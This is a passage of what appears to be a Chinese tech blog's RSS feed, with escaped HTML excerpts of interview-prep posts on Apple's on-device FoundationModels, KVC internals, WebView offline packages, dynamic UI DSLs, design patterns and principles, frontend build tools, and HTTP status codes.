&lt;td&gt;文本生成、摘要、分类、抽取、改写、翻译&lt;/td&gt;
&lt;td&gt;世界知识问答（模型太小，不适合当&amp;quot;百科&amp;quot;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;结构化输出（生成指定Swift类型）&lt;/td&gt;
&lt;td&gt;图像生成 / 视频生成&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;工具调用（Function Calling）&lt;/td&gt;
&lt;td&gt;嵌入向量生成（Embedding）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;短对话、小规模推理&lt;/td&gt;
&lt;td&gt;长上下文的复杂推理（窗口有限）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;完全离线、无需联网&lt;/td&gt;
&lt;td&gt;替代GPT-4这类前沿大模型&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;定位非常清楚：&lt;strong&gt;它是一个&amp;quot;端侧小而美&amp;quot;的模型，负责那些没必要上云、对延迟/隐私/成本敏感的任务。&lt;/strong&gt;&lt;/p&gt;
&lt;h3 id="13-为什么值得ios开发者关注"&gt;1.3 为什么值得iOS开发者关注&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;零成本&lt;/strong&gt;：不像调OpenAI API，每token都花钱。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;零延迟网络层&lt;/strong&gt;：首token延迟可以做到100ms级。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;隐私合规&lt;/strong&gt;：输入不出设备，符合医疗、金融、教育场景的合规要求。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;离线可用&lt;/strong&gt;：地铁、飞机、隧道里也能跑。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;原生Swift DSL&lt;/strong&gt;：宏驱动的&lt;code&gt;@Generable&lt;/code&gt;、&lt;code&gt;Tool&lt;/code&gt;协议，跟SwiftUI一样&amp;quot;声明式&amp;quot;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;与系统深度集成&lt;/strong&gt;：可直接访问Apple Intelligence上下文（比如屏幕识别、个人数据等，受权限约束）。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="二整体架构"&gt;二、整体架构&lt;/h2&gt;
&lt;pre class="mermaid"&gt;graph TB
subgraph APP ["应用层"]
UI["SwiftUI / UIKit"]
VM["ViewModel"]
end
subgraph FM ["FoundationModels Framework"]
SLM["SystemLanguageModel&lt;br/&gt;模型句柄 + 可用性"]
SESSION["LanguageModelSession&lt;br/&gt;会话对象 / 上下文"]
GEN["Generable宏&lt;br/&gt;结构化输出"]
TOOL["Tool协议&lt;br/&gt;工具调用"]
STREAM["ResponseStream&lt;br/&gt;流式输出"]
GUARD["Guardrails&lt;br/&gt;安全过滤"]
end
subgraph SYSTEM ["系统层"]
ANE["Apple Neural Engine"]
GPU["GPU"]
MODEL["On-device Foundation Model&lt;br/&gt;≈3B params, 4-bit quant"]
ADAPTER["LoRA Adapters"]
end
UI --&gt; VM
VM --&gt; SESSION
SESSION --&gt; SLM
SESSION --&gt; GEN
SESSION --&gt; TOOL
SESSION --&gt; STREAM
SESSION --&gt; GUARD
SLM --&gt; MODEL
MODEL --&gt; ANE
MODEL --&gt; GPU
ADAPTER --&gt; MODEL
&lt;/pre&gt;
&lt;p&gt;几个关键抽象：&lt;/p&gt;</description></item><item><title>KVC底层原理</title><link>https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/kvc%E5%BA%95%E5%B1%82%E5%8E%9F%E7%90%86/</link><pubDate>Sat, 02 May 2026 22:32:27 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/kvc%E5%BA%95%E5%B1%82%E5%8E%9F%E7%90%86/</guid><description>&lt;h2 id="基础概念"&gt;基础概念&lt;/h2&gt;
&lt;p&gt;KVC（Key-Value Coding，键值编码）是 Apple 提供的一种通过字符串 key 间接访问对象属性的机制，定义在 &lt;code&gt;NSKeyValueCoding&lt;/code&gt; 协议中，&lt;code&gt;NSObject&lt;/code&gt; 默认遵循该协议。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-objc" data-lang="objc"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 直接访问
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;person.name &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;@&amp;#34;Tom&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;NSString &lt;span style="color:#f92672"&gt;*&lt;/span&gt;name &lt;span style="color:#f92672"&gt;=&lt;/span&gt; person.name;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// KVC 访问
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[person setValue:&lt;span style="color:#e6db74"&gt;@&amp;#34;Tom&amp;#34;&lt;/span&gt; forKey:&lt;span style="color:#e6db74"&gt;@&amp;#34;name&amp;#34;&lt;/span&gt;];
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;NSString &lt;span style="color:#f92672"&gt;*&lt;/span&gt;name &lt;span style="color:#f92672"&gt;=&lt;/span&gt; [person valueForKey:&lt;span style="color:#e6db74"&gt;@&amp;#34;name&amp;#34;&lt;/span&gt;];
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;KVC 的核心价值在于：通过字符串动态访问属性，不需要在编译期知道属性名。这使得字典转模型、序列化/反序列化、Interface Builder 的 Runtime Attributes 等场景成为可能。&lt;/p&gt;
&lt;h2 id="setvalueforkey-的底层流程"&gt;setValue:forKey: 的底层流程&lt;/h2&gt;
&lt;p&gt;当调用 &lt;code&gt;[obj setValue:value forKey:@&amp;quot;name&amp;quot;]&lt;/code&gt; 时，Runtime 按照以下顺序查找：&lt;/p&gt;
&lt;pre class="mermaid"&gt;flowchart TD
A["setValue:forKey:@'name'"] --&gt; B{"查找 setter 方法"}
B --&gt;|"找到"| C["调用 setter"]
B --&gt;|"未找到"| D{"accessInstanceVariablesDirectly&lt;br/&gt;返回 YES?"}
D --&gt;|"YES"| E{"按顺序查找实例变量&lt;br/&gt;_name → _isName → name → isName"}
D --&gt;|"NO"| F["调用 setValue:forUndefinedKey:&lt;br/&gt;默认抛出 NSUndefinedKeyException"]
E --&gt;|"找到"| G["直接设置实例变量值"]
E --&gt;|"未找到"| F
&lt;/pre&gt;
&lt;h3 id="第一步查找-setter-方法"&gt;第一步：查找 setter 方法&lt;/h3&gt;
&lt;p&gt;Runtime 按以下顺序查找 setter 方法：&lt;/p&gt;</description></item><item><title>WebView离线包</title><link>https://amatsuzero.github.io/LastStand/posts/interview/ios-advanced/webview%E7%A6%BB%E7%BA%BF%E5%8C%85/</link><pubDate>Sat, 02 May 2026 22:32:27 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/interview/ios-advanced/webview%E7%A6%BB%E7%BA%BF%E5%8C%85/</guid><description>&lt;h2 id="背景"&gt;背景&lt;/h2&gt;
&lt;p&gt;Hybrid 开发模式下，WebView 加载 H5 页面的体验一直是痛点。一个典型的 H5 页面加载流程涉及：初始化 WebView -&amp;gt; DNS 解析 -&amp;gt; 建立连接 -&amp;gt; 下载 HTML -&amp;gt; 解析 HTML -&amp;gt; 下载 CSS/JS/图片 -&amp;gt; 渲染页面。在弱网或首次加载场景下，白屏时间常常达到 2~5 秒，远不如 Native 体验。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;离线包&lt;/strong&gt;的核心思路是：将 H5 的静态资源（HTML、CSS、JS、图片、字体等）预先打包下发到客户端本地，WebView 加载时直接从本地读取资源，跳过网络请求环节，从而大幅缩短页面加载时间。&lt;/p&gt;
&lt;h2 id="离线包加载-vs-在线加载"&gt;离线包加载 vs 在线加载&lt;/h2&gt;
&lt;pre class="mermaid"&gt;sequenceDiagram
participant App
participant WebView
participant Local as 本地离线包
participant Server as 远程服务器
Note over App, Server: 在线加载流程
App-&gt;&gt;WebView: loadURL
WebView-&gt;&gt;Server: DNS + TCP + TLS + HTTP请求
Server--&gt;&gt;WebView: HTML
WebView-&gt;&gt;Server: 请求 CSS/JS/图片
Server--&gt;&gt;WebView: 资源文件
WebView-&gt;&gt;WebView: 渲染页面
Note over App, Server: 离线包加载流程
App-&gt;&gt;WebView: loadURL（被拦截）
WebView-&gt;&gt;Local: 读取本地 HTML
Local--&gt;&gt;WebView: HTML
WebView-&gt;&gt;Local: 读取本地 CSS/JS/图片
Local--&gt;&gt;WebView: 资源文件
WebView-&gt;&gt;WebView: 渲染页面
&lt;/pre&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;对比项&lt;/th&gt;
&lt;th&gt;在线加载&lt;/th&gt;
&lt;th&gt;离线包加载&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;首屏时间&lt;/td&gt;
&lt;td&gt;2~5秒（弱网更久）&lt;/td&gt;
&lt;td&gt;0.5~1秒&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;网络依赖&lt;/td&gt;
&lt;td&gt;强依赖&lt;/td&gt;
&lt;td&gt;仅更新时需要网络&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;白屏问题&lt;/td&gt;
&lt;td&gt;严重&lt;/td&gt;
&lt;td&gt;基本消除&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;资源新鲜度&lt;/td&gt;
&lt;td&gt;实时最新&lt;/td&gt;
&lt;td&gt;有一定延迟&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;流量消耗&lt;/td&gt;
&lt;td&gt;每次访问都消耗&lt;/td&gt;
&lt;td&gt;仅增量更新消耗&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="整体架构"&gt;整体架构&lt;/h2&gt;
&lt;p&gt;一个完整的离线包系统包含三大部分：&lt;/p&gt;</description></item><item><title>动态化 DSL 详解</title><link>https://amatsuzero.github.io/LastStand/posts/interview/ios-cross-platform/%E5%8A%A8%E6%80%81%E5%8C%96dsl/</link><pubDate>Sat, 02 May 2026 22:32:27 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/interview/ios-cross-platform/%E5%8A%A8%E6%80%81%E5%8C%96dsl/</guid><description>&lt;p&gt;动态化 DSL（Domain-Specific Language，领域特定语言）是&amp;quot;不改 App 主包、不走应用商店审核，只下发一段描述文件就能改变界面和逻辑&amp;quot;的一类技术。它在 2015~2023 年成为国内大厂客户端的必备基础设施：阿里 DinamicX / Tangram / VirtualView / LuaView、字节 Lynx、腾讯 Mars / 小程序、滴滴 Hummer、美团 MRN / Recce、京东 Taro-Native、拼多多 Lego、支付宝 Nebula / BirdNest、爱奇艺 Doric ……几乎每一家超级 App 都至少造过一套自己的动态化 DSL。&lt;/p&gt;
&lt;p&gt;进入 2026 年 AI Coding 时代，动态化 DSL 的定位发生了根本性转变：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;过去&lt;/strong&gt;它服务于&amp;quot;&lt;strong&gt;业务迭代速度&lt;/strong&gt;&amp;quot;——解决包大小限制、审核周期、多端复用问题。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;现在&lt;/strong&gt;它服务于&amp;quot;&lt;strong&gt;Agent 生成 UI&lt;/strong&gt;&amp;quot;——LLM 更擅长生成 JSON / 结构化 DSL 而不是跨平台原生代码，DSL 成为 Generative UI / SDUI（Server-Driven UI）落地移动端的唯一高效载体。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;本文从定义出发，讲透动态化 DSL 的历史演进、分类体系、核心渲染管线、关键原理（AST / 表达式引擎 / 布局 / 数据绑定 / 差分），再深入解剖 DinamicX、Tangram、LuaView、Lynx、Hummer、Recce 六大主流方案的工程实现，最后系统分析 AI Coding 时代的优劣势与决策矩阵。&lt;/p&gt;</description></item><item><title>外观模式</title><link>https://amatsuzero.github.io/LastStand/posts/interview/ios-design/patterns/%E5%A4%96%E8%A7%82%E6%A8%A1%E5%BC%8F/</link><pubDate>Sat, 02 May 2026 22:32:27 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/interview/ios-design/patterns/%E5%A4%96%E8%A7%82%E6%A8%A1%E5%BC%8F/</guid><description>&lt;h2 id="定义"&gt;定义&lt;/h2&gt;
&lt;p&gt;外观模式（Facade Pattern）是一种结构型设计模式，它为子系统中的一组接口提供一个统一的高层接口。外观模式定义了一个高层接口，使得子系统更加容易使用。&lt;/p&gt;
&lt;p&gt;外观模式的核心思想是通过引入一个外观类，将复杂子系统的内部复杂性隐藏起来，只暴露一个简单的接口给客户端。&lt;/p&gt;
&lt;h2 id="为什么需要外观模式"&gt;为什么需要外观模式&lt;/h2&gt;
&lt;p&gt;外观模式要解决的核心问题是：&lt;strong&gt;简化复杂子系统的使用，为客户端提供一个更简单的接口&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;问题场景&lt;/strong&gt;：假设我们正在开发一个视频播放功能，需要处理音频、视频、字幕等多个子系统。&lt;/p&gt;
&lt;p&gt;直接使用各个子系统：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-swift" data-lang="swift"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;VideoPlayerController&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;func&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;playVideo&lt;/span&gt;(url: URL) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 1. 初始化音频引擎&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; audioEngine = AudioEngine()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; audioEngine.configure(sampleRate: &lt;span style="color:#ae81ff"&gt;44100&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; audioEngine.setOutputDevice(.speaker)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 2. 初始化视频解码器&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; videoDecoder = VideoDecoder()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; videoDecoder.setCodec(.h264)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; videoDecoder.configureHardwareAcceleration(&lt;span style="color:#66d9ef"&gt;true&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 3. 初始化渲染器&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; renderer = VideoRenderer()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; renderer.setResolution(&lt;span style="color:#ae81ff"&gt;1920&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1080&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; renderer.setFrameRate(&lt;span style="color:#ae81ff"&gt;30&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 4. 加载字幕&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; subtitleLoader = SubtitleLoader()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; subtitles = subtitleLoader.load(from: url)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 5. 同步各个组件&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; synchronizer = AVSynchronizer()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; synchronizer.link(audio: audioEngine, video: videoDecoder)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 6. 开始播放&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; data = loadVideoData(url)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; decodedVideo = videoDecoder.decode(data)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; renderer.render(decodedVideo)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; audioEngine.play()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 还要处理暂停、seek、音量调节...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这种方式有什么问题？&lt;/p&gt;</description></item><item><title>迪米特法则</title><link>https://amatsuzero.github.io/LastStand/posts/interview/ios-design/principles/%E8%BF%AA%E7%B1%B3%E7%89%B9%E6%B3%95%E5%88%99/</link><pubDate>Sat, 02 May 2026 22:32:27 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/interview/ios-design/principles/%E8%BF%AA%E7%B1%B3%E7%89%B9%E6%B3%95%E5%88%99/</guid><description>&lt;h2 id="什么是迪米特法则"&gt;什么是迪米特法则？&lt;/h2&gt;
&lt;p&gt;迪米特法则（Law of Demeter, LoD）也称为&lt;strong&gt;最少知识原则&lt;/strong&gt;（Least Knowledge Principle, LKP），由 Ian Holland 在 1987 年提出。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Each unit should have only limited knowledge about other units: only units &amp;ldquo;closely&amp;rdquo; related to the current unit.
每个单元应该只对与其紧密相关的单元有有限的了解。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;更通俗的表述是：&lt;strong&gt;只和直接朋友交流，不要和陌生人说话&lt;/strong&gt;。&lt;/p&gt;
&lt;h2 id="核心思想"&gt;核心思想&lt;/h2&gt;
&lt;h3 id="什么是直接朋友"&gt;什么是&amp;quot;直接朋友&amp;quot;？&lt;/h3&gt;
&lt;p&gt;一个对象的&amp;quot;直接朋友&amp;quot;包括：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;当前对象本身&lt;/strong&gt;（this/self）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;作为参数传入的对象&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;当前对象创建的对象&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;当前对象的成员变量&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;全局对象&lt;/strong&gt;（如单例，技术上可访问，但应谨慎依赖）&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-swift" data-lang="swift"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Person&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; wallet: Wallet &lt;span style="color:#75715e"&gt;// 成员变量 - 直接朋友&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;func&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;buyItem&lt;/span&gt;(shop: Shop, item: Item) { &lt;span style="color:#75715e"&gt;// 参数 - 直接朋友&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; receipt = Receipt() &lt;span style="color:#75715e"&gt;// 自己创建的对象 - 直接朋友&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 以下都是与直接朋友交流&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; money = wallet.getMoney()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; shop.sell(item: item)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; receipt.record(item: item)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="什么是陌生人"&gt;什么是&amp;quot;陌生人&amp;quot;？&lt;/h3&gt;
&lt;p&gt;如果需要通过&lt;strong&gt;多层对象&lt;/strong&gt;去访问另一个对象，那个被间接访问的对象就是&amp;quot;陌生人&amp;quot;。&lt;/p&gt;</description></item><item><title>前端构建工具详解</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/engineering/engineering-004/</link><pubDate>Thu, 07 Aug 2025 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/engineering/engineering-004/</guid><description>&lt;p&gt;谈到构建工具，大家首先想到的肯定就是 &lt;code&gt;Webpack&lt;/code&gt; 以及现在最🔥的 &lt;code&gt;Vite&lt;/code&gt;。 &lt;code&gt;Webpack&lt;/code&gt;，功能强大，生态丰富，从面世到今天，一直是很受大家欢迎；&lt;code&gt;Vite&lt;/code&gt; 采用 &lt;code&gt;unbundle&lt;/code&gt; 构建模式，带来了极致的开发体验，给开发人员以新的选择。&lt;/p&gt;
&lt;p&gt;在这两个构建工具之外，还有其他的构建工具，如和 &lt;code&gt;Webpack&lt;/code&gt;、&lt;code&gt;Vite&lt;/code&gt; 类似的 &lt;code&gt;Rollup&lt;/code&gt;、&lt;code&gt;Parcel&lt;/code&gt;、&lt;code&gt;Esbuild&lt;/code&gt;，自动化构建工具 &lt;code&gt;grunt&lt;/code&gt;、&lt;code&gt;gulp&lt;/code&gt;，以及更加久远的 &lt;code&gt;YUI Tool&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;这些工具的存在，构成了前端构建工具的发展史。&lt;/p&gt;
&lt;h4 id="yui-tool--ant"&gt;YUI Tool + Ant&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;YUI tool&lt;/code&gt; 是 07 年左右出现的一个构建工具，功能比较简单，用于压缩混淆 &lt;code&gt;css&lt;/code&gt; 和 &lt;code&gt;js&lt;/code&gt; 代码，需要配合 &lt;code&gt;java&lt;/code&gt; 的 &lt;code&gt;Ant&lt;/code&gt; 使用。&lt;/p&gt;
&lt;p&gt;当时 web 应用开发主要采用 &lt;code&gt;JSP&lt;/code&gt;，还不像现在这样前后端分离，通常是由 java 开发人员来编写 js、css 代码，前端代码都是和后端 java 代码放在一起的。因此前端代码的压缩混淆也就基于 java 实现了。&lt;/p&gt;
&lt;h4 id="grunt--gulp"&gt;Grunt / Gulp&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;Grunt&lt;/code&gt; / &lt;code&gt;Gulp&lt;/code&gt; 都是运行在 &lt;code&gt;node&lt;/code&gt; 环境上的自动化工具。&lt;/p&gt;
&lt;p&gt;在开发过程中，我们可以将一些常见操作如&lt;code&gt;解析 html&lt;/code&gt;、&lt;code&gt;es6 代码转换为 es5&lt;/code&gt;、&lt;code&gt;less / sass 代码转换为 css 代码&lt;/code&gt;、&lt;code&gt;代码检查&lt;/code&gt;、&lt;code&gt;代码压缩&lt;/code&gt;、&lt;code&gt;代码混淆&lt;/code&gt;配置成一系列任务，然后通过 &lt;code&gt;Grunt&lt;/code&gt; / &lt;code&gt;Gulp&lt;/code&gt; 自动执行这些任务。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Grunt&lt;/code&gt; 和 &lt;code&gt;Gulp&lt;/code&gt; 的不同点：&lt;/p&gt;</description></item><item><title>http状态码</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/network/network-004/</link><pubDate>Mon, 28 Jul 2025 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/network/network-004/</guid><description>&lt;h2 id="一http-状态码概述"&gt;一、HTTP 状态码概述&lt;/h2&gt;
&lt;h3 id="1-概念"&gt;1. 概念&lt;/h3&gt;
&lt;p&gt;当我们在浏览器输入URL并按下Enter键时，浏览器就会向站点的服务器发送一个HTTP请求，服务器接收并处理请求，然后将相关资源和HTTP标头一起返回。可以在浏览器的Network中查看 HTTP 的请求状态码：&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/network/network-004/image-01.webp"&gt;&lt;/p&gt;
&lt;p&gt;维基百科中对&lt;strong&gt;HTTP状态码&lt;/strong&gt;的解释：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;HTTP状态码（HTTP Status Code）是用以表示网页服务器超文本传输协议响应状态的3位数字代码。它由 RFC 2616 规范定义的，并得到 RFC 2518、RFC 2817、RFC 2295、RFC 2774 与 RFC 4918 等规范扩展。所有状态码被分为五类，状态码的第一个数字代表了响应的五种状态之一。所示的消息短语是典型的，但是可以提供任何可读取的替代方案。 除非另有说明，状态码是HTTP/1.1标准（RFC 7231）的一部分。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;HTTP 状态代码是从 Web 服务器发送的 3 位代码（如 200 OK 或 404 Not Found），用于让我们和搜索引擎知道请求中是否存在任何错误或服务器尝试处理请求时是否存在任何问题。&lt;/p&gt;
&lt;h3 id="2-分类"&gt;2. 分类&lt;/h3&gt;
&lt;p&gt;应用通常就是客户端向服务器发出请求，服务器做出响应。状态码就是让我们知道 HTTP 请求是成功、失败还是其他。HTTP状态码通常分为五类：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;strong&gt;类别&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;定义&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;描述&lt;/strong&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1xx&lt;/td&gt;
&lt;td&gt;Informational(信息性状态码)&lt;/td&gt;
&lt;td&gt;接受的请求正在处理&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
